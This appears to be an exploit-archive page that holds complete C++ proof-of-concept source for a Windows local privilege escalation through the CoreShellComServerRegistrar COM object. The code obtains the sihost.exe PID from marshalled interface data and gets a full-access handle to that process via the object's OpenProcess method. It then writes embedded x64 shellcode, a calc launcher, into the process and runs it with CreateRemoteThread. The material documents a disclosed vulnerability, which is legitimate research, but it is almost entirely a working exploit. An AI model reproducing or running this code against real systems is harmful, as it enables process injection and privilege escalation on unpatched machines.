microsoft windows shell com server registrar local privilege escalation
▸▸▸ Exploit & Vulnerability >> local exploit & windows vulnerability
// Axel '0vercl0k' Souchet - December 28 2019 // References: // - Found by an anonymous researcher, written up by Simon '@HexKitchen' Zuckerbraun // - https://www.zerodayinitiative.com/blog/2019/12/19/privilege-escalation-via-the-core-shell-com-registrar-object // - https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sserver/sserver.cpp // - https://github.com/microsoft/Windows-classic-samples/blob/master/Samples/Win7Samples/com/fundamentals/dcom/simple/sclient/sclient.cpp #include <windows.h> #include <cstdint> #include <atlbase.h> // 54E14197-88B0-442F-B9A3-86837061E2FB // .rdata:0000000000014108 CLSID_CoreShellComServerRegistrar dd 54E14197h ; Data1 // .rdata:0000000000014108 dw 88B0h ; Data2 // .rdata:0000000000014108 dw 442Fh ; Data3 // .rdata:0000000000014108 db 0B9h, 0A3h, 86h, 83h, 70h, 61h, 0E2h, 0FBh ; Data4 const GUID CLSID_CoreShellComServerRegistrar = { 0x54e14197, 0x88b0, 0x442f, { 0xb9, 0xa3, 0x86, 0x83, 0x70, 0x61, 0xe2, 0xfb }}; // 27EB33A5-77F9-4AFE-AE056-FDBBE720EE7 // .rdata:00000000000140B8 GuidICOMServerRegistrar dd 27EB33A5h ; Data1 // .rdata:00000000000140B8 dw 77F9h ; Data2 // .rdata:00000000000140B8 dw 4AFEh ; Data3 // .rdata:00000000000140B8 db 0AEh, 5, 6Fh, 0DBh, 0BEh, 72h, 0Eh, 0E7h ; Data4 MIDL_INTERFACE("27EB33A5-77F9-4AFE-AE05-6FDBBE720EE7") ICoreShellComServerRegistrar : public IUnknown { // 0:015> dqs 00007ff8`3fe526e8 // [...] // 00007ff8`3fe52730 00007ff8`3fe4a5e0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::QueryInterface // 00007ff8`3fe52738 00007ff8`3fe4a6d0 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::AddRef // 00007ff8`3fe52740 00007ff8`3fe4a680 CoreShellExtFramework!Microsoft::WRL::Details::RuntimeClassImpl<Microsoft::WRL::RuntimeClassFlags<2>,1,0,0,Microsoft::WRL::FtmBase,CServiceHostComponentWithGITSite,IOSTaskCompletionRevokedHandler,ICOMServerRegistrar>::Release // 00007ff8`3fe52748 00007ff8`3fe47260 CoreShellExtFramework!CoreShellComServerRegistrar::RegisterCOMServer // 00007ff8`3fe52750 00007ff8`3fe476b0 CoreShellExtFramework!CoreShellComServerRegistrar::UnregisterCOMServer // 00007ff8`3fe52758 00007ff8`3fe477f0 CoreShellExtFramework!CoreShellComServerRegistrar::DuplicateHandle // 00007ff8`3fe52760 00007ff8`3fe47920 CoreShellExtFramework!CoreShellComServerRegistrar::OpenProcess virtual HRESULT STDMETHODCALLTYPE RegisterCOMServer() = 0; virtual HRESULT STDMETHODCALLTYPE UnregisterCOMServer() = 0; virtual HRESULT STDMETHODCALLTYPE DuplicateHandle() = 0; virtual HRESULT STDMETHODCALLTYPE OpenProcess( const uint32_t DesiredAccess, const bool InheritHandle, const uint32_t ArbitraryPid, const uint32_t TargetProcessId, HANDLE *ProcessHandle ) = 0; }; struct Marshalled_t { uint32_t Meow; uint32_t ObjRefType; GUID IfaceId; uint32_t Flags; uint32_t References; uint64_t Oxid; uint64_t Oid; union { uint64_t IfacePointerIdLow; struct { uint64_t _Dummy1 : 32; uint64_t ServerPid : 16; }; }; uint64_t IfacePointerIdHigh; }; int main() { // // Initialize COM. // HRESULT Hr = CoInitialize(nullptr); if(FAILED(Hr)) { printf("Failed to initialize COM.\nThis might be the best thing that happened in your life, carry on and never look back."); return EXIT_FAILURE; } // // Instantiate an out-of-proc instance of `ICoreShellComServerRegistrar`. // CComPtr<ICoreShellComServerRegistrar> ComServerRegistrar; Hr = ComServerRegistrar.CoCreateInstance( CLSID_CoreShellComServerRegistrar, nullptr, CLSCTX_LOCAL_SERVER ); if(FAILED(Hr)) { printf("You are probably not vulnerable (%08x) bailing out.", Hr); return EXIT_FAILURE; } // // We don't use the copy ctor here to avoid leaking the object as the returned // stream already has its refcount bumped by `SHCreateMemStream`. // CComPtr<IStream> Stream; Stream.Attach(SHCreateMemStream(nullptr, 0)); // // Get the marshalled data for the `ICoreShellComServerRegistrar` interface, so // that we can extract the PID of the COM server (sihost.exe) in this case. // https://twitter.com/tiraniddo/status/1208073552282488833 // Hr = CoMarshalInterface( Stream, __uuidof(ICoreShellComServerRegistrar), ComServerRegistrar, MSHCTX_LOCAL, nullptr, MSHLFLAGS_NORMAL ); if(FAILED(Hr)) { printf("Failed to marshal the interface (%08x) bailing out.", Hr); return EXIT_FAILURE; } // // Read the PID out of the blob now. // const LARGE_INTEGER Origin {}; Hr = Stream->Seek(Origin, STREAM_SEEK_SET, nullptr); uint8_t Buffer[0x1000] {}; Hr = Stream->Read(Buffer, sizeof(Buffer), nullptr); union { Marshalled_t *Blob; void *Raw; } Ptr; Ptr.Raw = Buffer; const uint32_t SihostPid = Ptr.Blob->ServerPid; // // Ready to get a `PROCESS_ALL_ACCESS` handle to the server now! // HANDLE ProcessHandle; Hr = ComServerRegistrar->OpenProcess( PROCESS_ALL_ACCESS, false, SihostPid, GetCurrentProcessId(), &ProcessHandle ); if(FAILED(Hr)) { printf("Failed to OpenProcess (%08x) bailing out.", Hr); return EXIT_FAILURE; } // // Allocate executable memory in the target. // const auto ShellcodeAddress = LPTHREAD_START_ROUTINE(VirtualAllocEx( ProcessHandle, nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE )); if(ShellcodeAddress == nullptr) { printf("Failed to VirtualAllocEx memory in the target process (%d) bailing out.", GetLastError()); return EXIT_FAILURE; } // // This is a CreateProcess(calc) shellcode generated with scc, see payload.cc. // const uint8_t Shellcode[] { 0x48, 0x83, 0xc4, 0x08, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x08, 0x55, 0x48, 0x8b, 0xec, 0x48, 0x8d, 0x64, 0x24, 0xf0, 0x48, 0x8d, 0x05, 0x42, 0x02, 0x00, 0x00, 0x48, 0x89, 0x45, 0xf0, 0x6a, 0x00, 0x8f, 0x45, 0xf8, 0x48, 0x8d, 0x05, 0x3a, 0x02, 0x00, 0x00, 0x48, 0x8d, 0x08, 0x48, 0x8d, 0x55, 0xf0, 0xe8, 0x63, 0x01, 0x00, 0x00, 0xe8, 0xbf, 0x01, 0x00, 0x00, 0xc9, 0xc3, 0x53, 0x56, 0x57, 0x41, 0x54, 0x55, 0x48, 0x8b, 0xec, 0x6a, 0x60, 0x58, 0x65, 0x48, 0x8b, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x70, 0x10, 0x48, 0x8b, 0x46, 0x30, 0x48, 0x83, 0xf8, 0x00, 0x74, 0x13, 0xeb, 0x08, 0x4c, 0x8b, 0x06, 0x49, 0x8b, 0xf0, 0xeb, 0xec, 0x45, 0x33, 0xdb, 0x66, 0x45, 0x33, 0xd2, 0xeb, 0x09, 0x33, 0xc0, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x66, 0x8b, 0x46, 0x58, 0x66, 0x44, 0x3b, 0xd0, 0x72, 0x11, 0xeb, 0x3c, 0x66, 0x45, 0x8b, 0xc2, 0x66, 0x41, 0x83, 0xc0, 0x02, 0x66, 0x45, 0x8b, 0xd0, 0xeb, 0xe5, 0x45, 0x8b, 0xcb, 0x41, 0xc1, 0xe9, 0x0d, 0x41, 0x8b, 0xc3, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc8, 0x41, 0x8b, 0xc1, 0x4c, 0x8b, 0x46, 0x60, 0x45, 0x0f, 0xb7, 0xca, 0x4d, 0x03, 0xc1, 0x45, 0x8a, 0x00, 0x45, 0x0f, 0xbe, 0xc0, 0x41, 0x83, 0xf8, 0x61, 0x72, 0x15, 0xeb, 0x07, 0x41, 0x3b, 0xcb, 0x74, 0x16, 0xeb, 0x97, 0x41, 0x83, 0xe8, 0x20, 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xb1, 0x41, 0x03, 0xc0, 0x44, 0x8b, 0xd8, 0xeb, 0xa9, 0x4c, 0x8b, 0x56, 0x30, 0x41, 0x8b, 0x42, 0x3c, 0x4d, 0x8b, 0xe2, 0x4c, 0x03, 0xe0, 0x41, 0x8b, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x4d, 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x33, 0xdb, 0x41, 0x8b, 0x41, 0x18, 0x44, 0x3b, 0xd8, 0x72, 0x0b, 0xe9, 0x56, 0xff, 0xff, 0xff, 0x41, 0x83, 0xc3, 0x01, 0xeb, 0xec, 0x41, 0x8b, 0x41, 0x20, 0x49, 0x8b, 0xda, 0x48, 0x03, 0xd8, 0x45, 0x8b, 0xc3, 0x48, 0x8b, 0xc3, 0x4a, 0x8d, 0x04, 0x80, 0x8b, 0x00, 0x49, 0x8b, 0xfa, 0x48, 0x03, 0xf8, 0x33, 0xc0, 0x48, 0x8b, 0xdf, 0x48, 0x83, 0xc7, 0x01, 0x44, 0x8a, 0x03, 0x41, 0x0f, 0xbe, 0xd8, 0x83, 0xfb, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x3b, 0xd0, 0x74, 0x17, 0xeb, 0xc1, 0x44, 0x8b, 0xc0, 0x41, 0xc1, 0xe8, 0x0d, 0xc1, 0xe0, 0x13, 0x44, 0x0b, 0xc0, 0x44, 0x03, 0xc3, 0x41, 0x8b, 0xc0, 0xeb, 0xd0, 0x41, 0x8b, 0x41, 0x1c, 0x49, 0x8b, 0xd2, 0x48, 0x03, 0xd0, 0x41, 0x8b, 0x41, 0x24, 0x4d, 0x8b, 0xca, 0x4c, 0x03, 0xc8, 0x45, 0x8b, 0xc3, 0x49, 0x8b, 0xc1, 0x4a, 0x8d, 0x04, 0x40, 0x66, 0x8b, 0x00, 0x0f, 0xb7, 0xc8, 0x48, 0x8b, 0xc2, 0x48, 0x8d, 0x04, 0x88, 0x8b, 0x00, 0x4c, 0x03, 0xd0, 0x49, 0x8b, 0xc2, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x53, 0x56, 0x57, 0x41, 0x54, 0x55, 0x48, 0x8b, 0xec, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0x03, 0x48, 0x83, 0xf8, 0x00, 0x74, 0x0e, 0x48, 0x8b, 0xc6, 0x48, 0x83, 0xc6, 0x04, 0x44, 0x8b, 0x20, 0x33, 0xff, 0xeb, 0x07, 0xc9, 0x41, 0x5c, 0x5f, 0x5e, 0x5b, 0xc3, 0x8b, 0x06, 0x41, 0x8b, 0xcc, 0x8b, 0xd0, 0xe8, 0x6b, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xd0, 0x48, 0x83, 0xfa, 0x00, 0x74, 0x02, 0xeb, 0x06, 0x48, 0x83, 0xc3, 0x08, 0xeb, 0xc5, 0x48, 0x8b, 0x03, 0x48, 0x8b, 0xcf, 0x48, 0x83, 0xc7, 0x01, 0x48, 0x8d, 0x04, 0xc8, 0x48, 0x89, 0x10, 0x48, 0x83, 0xc6, 0x04, 0xeb, 0xcc, 0x57, 0x55, 0x48, 0x8b, 0xec, 0x48, 0x8d, 0xa4, 0x24, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xbd, 0x78, 0xff, 0xff, 0xff, 0x32, 0xc0, 0x6a, 0x68, 0x59, 0xf3, 0xaa, 0xc7, 0x85, 0x78, 0xff, 0xff, 0xff, 0x68, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x05, 0x4a, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x10, 0x4c, 0x8d, 0x95, 0x78, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x45, 0xe0, 0x33, 0xc9, 0x45, 0x33, 0xc0, 0x45, 0x33, 0xc9, 0x50, 0x41, 0x52, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x48, 0x8d, 0x64, 0x24, 0xe0, 0x48, 0x8d, 0x05, 0x09, 0x00, 0x00, 0x00, 0xff, 0x10, 0x48, 0x83, 0xc4, 0x50, 0xc9, 0x5f, 0xc3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x17, 0xca, 0x2b, 0x6e, 0x72, 0xfe, 0xb3, 0x16, 0x00, 0x00, 0x00, 0x00, 0x63, 0x61, 0x6c, 0x63, 0x00 }; if(!WriteProcessMemory( ProcessHandle, ShellcodeAddress, Shellcode, sizeof(Shellcode), nullptr )) { printf("Failed to WriteProcessMemory in the target process (%d) bailing out.", GetLastError()); // // At least clean up the remote process D: // VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE); return EXIT_FAILURE; } // // Creating a remote thread on the shellcode now. // DWORD ThreadId; HANDLE ThreadHandle = CreateRemoteThread( ProcessHandle, nullptr, 0, ShellcodeAddress, nullptr, 0, &ThreadId ); // // Waiting for the thread to end.. // WaitForSingleObject(ThreadHandle, INFINITE); // // All right, we are done here, let's clean up and exit. // VirtualFreeEx(ProcessHandle, ShellcodeAddress, 0, MEM_RELEASE); printf("Payload has been successfully injected in %d.", SihostPid); return EXIT_SUCCESS; }
Microsoft windows shell com server registrar local privilege escalation Vulnerability / Exploit Source : Microsoft windows shell com server registrar local privilege escalation